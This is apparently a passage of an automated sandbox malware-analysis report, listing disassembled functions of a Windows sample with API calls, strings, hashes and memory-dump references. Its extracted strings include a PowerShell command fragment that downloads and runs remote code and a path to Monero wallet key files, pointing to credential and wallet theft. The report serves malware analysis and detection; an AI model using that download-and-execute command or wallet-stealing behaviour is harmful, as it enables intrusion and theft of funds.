Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: fef4010f2b3200a994c96242ad2d0dc0a45bcd018116e5092cab30f27d505a9a
Instruction ID: abb71b330d44c44e28a3d811af3056ca2d3e96c5f344b370c626316fbf161557
Opcode Fuzzy Hash: fef4010f2b3200a994c96242ad2d0dc0a45bcd018116e5092cab30f27d505a9a
Instruction Fuzzy Hash: CF41DE71D502089AEB14FFA0C892BEDB7B8EF14304F504199F416B6192EF746B4AEF91

Function 00B39E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00B39F41

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Strings

v10, xrefs: 00B39EA3
ERROR_RUN_EXTRACTOR, xrefs: 00B39E67
@, xrefs: 00B39EF1
v20, xrefs: 00B39E21

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 5c0a7e4ff3441afdb14f7790284747c7f26d5666930632c0cbb033b578a81bd7
Instruction ID: 7ad9dcb81a754f3acfb345ae2f68ebf59d1c4f973269e9a194f51e943e99e95d
Opcode Fuzzy Hash: 5c0a7e4ff3441afdb14f7790284747c7f26d5666930632c0cbb033b578a81bd7
Instruction Fuzzy Hash: BE615E71A50248ABDB28EFA4CC96FED77F9EF40304F108498F90A5B191EB746B05CB52

Function 00B46920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00B4696C
sscanf.NTDLL ref: 00B46999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00B469B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00B469C0
ExitProcess.KERNEL32 ref: 00B469DA

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: e24f344075473969d05a47f2627d0c53db53b71b961378ae0b94f2159cf07df5
Instruction ID: baf088c5072e4800ad334c0bca669f2b4931c263a5bb4f23f19457ed11b8f5b3
Opcode Fuzzy Hash: e24f344075473969d05a47f2627d0c53db53b71b961378ae0b94f2159cf07df5
Instruction Fuzzy Hash: 8921EA75D04208ABCF04EFE8D945AEEB7B5FF48300F04856AE40AE3250EB345605CBA6

Function 00B49260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(014EDA48,?,?,?,00B4140C,?,014EDA48,00000000), ref: 00B4926C
lstrcpyn.KERNEL32(00D7AB88,014EDA48,014EDA48,?,00B4140C,?,014EDA48), ref: 00B49290
lstrlen.KERNEL32(?,?,00B4140C,?,014EDA48), ref: 00B492A7
wsprintfA.USER32 ref: 00B492C7

Strings

%s%s, xrefs: 00B492B5

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 6e7b62303bfa99fe6bcdff84a1b460683eb223407bb970c1c03d362bc2084a4d
Instruction ID: a927f08a631d1a809191ca5732808f607da573e1a347b481ab22ab240aa1e4ea
Opcode Fuzzy Hash: 6e7b62303bfa99fe6bcdff84a1b460683eb223407bb970c1c03d362bc2084a4d
Instruction Fuzzy Hash: 2601A975500208FFCB04DFECC984EAE7BB9EB84355F108588F9099B344D671AA40DBA1

Function 00B46630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00B46663

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

ShellExecuteEx.SHELL32(0000003C), ref: 00B46726
ExitProcess.KERNEL32 ref: 00B46755

Strings

<, xrefs: 00B466D9

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 3807b4bc82c30faf0ca99c9cb4450d38c86c851461c7b0935a1bffd0ac187580
Instruction ID: bceb78978c06da56bd6c53978d7c7cf5cafe7d6477185d7923e671aa6e46cc19
Opcode Fuzzy Hash: 3807b4bc82c30faf0ca99c9cb4450d38c86c851461c7b0935a1bffd0ac187580
Instruction Fuzzy Hash: 1C3130B1C01218ABDB14EB54DC92FDD77BCAF44300F405189F209A6291EF746B89DFA6

Function 00B487C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B50E28,00000000,?), ref: 00B4882F
RtlAllocateHeap.NTDLL(00000000), ref: 00B48836
wsprintfA.USER32 ref: 00B48850

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Strings

%dx%d, xrefs: 00B48847

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: d4aa856bfa5b550499b39412f772dfe3b7da93f4803514ed7c13d3a2d722046f
Instruction ID: 8175cb55b4658ed3fea8d3071588d62a6406693a6355248dbaa88a4485adf98e
Opcode Fuzzy Hash: d4aa856bfa5b550499b39412f772dfe3b7da93f4803514ed7c13d3a2d722046f
Instruction Fuzzy Hash: 44211DB1A40304ABDB04DF98DD45FAEBBB8FB48701F104159F609E7390D77999408BB2

Function 00B48D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00B4951E,00000000), ref: 00B48D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00B48D62
wsprintfW.USER32 ref: 00B48D78

Strings

%hs, xrefs: 00B48D6F

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: de54ea47c12635c8dc630e80ca7c9b9d6648b1d04b02a14627c12e8b9c5951b6
Instruction ID: 20f5108f45aeb670ba700e973bf836cdd3a9d75f6e28aab42c9882eb8f72c527
Opcode Fuzzy Hash: de54ea47c12635c8dc630e80ca7c9b9d6648b1d04b02a14627c12e8b9c5951b6
Instruction Fuzzy Hash: 5BE08CB0A40308BBC700DB98DC0AE6D77BCEB84702F040195FD0DC7380EA719E409BA2

Function 00B3D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B48B60: GetSystemTime.KERNEL32(00B50E1A,014E9CC8,00B505AE,?,?,00B313F9,?,0000001A,00B50E1A,00000000,?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B48B86

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B3D481
lstrlen.KERNEL32(00000000), ref: 00B3D698
lstrlen.KERNEL32(00000000), ref: 00B3D6AC
DeleteFileA.KERNEL32(00000000), ref: 00B3D72B

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
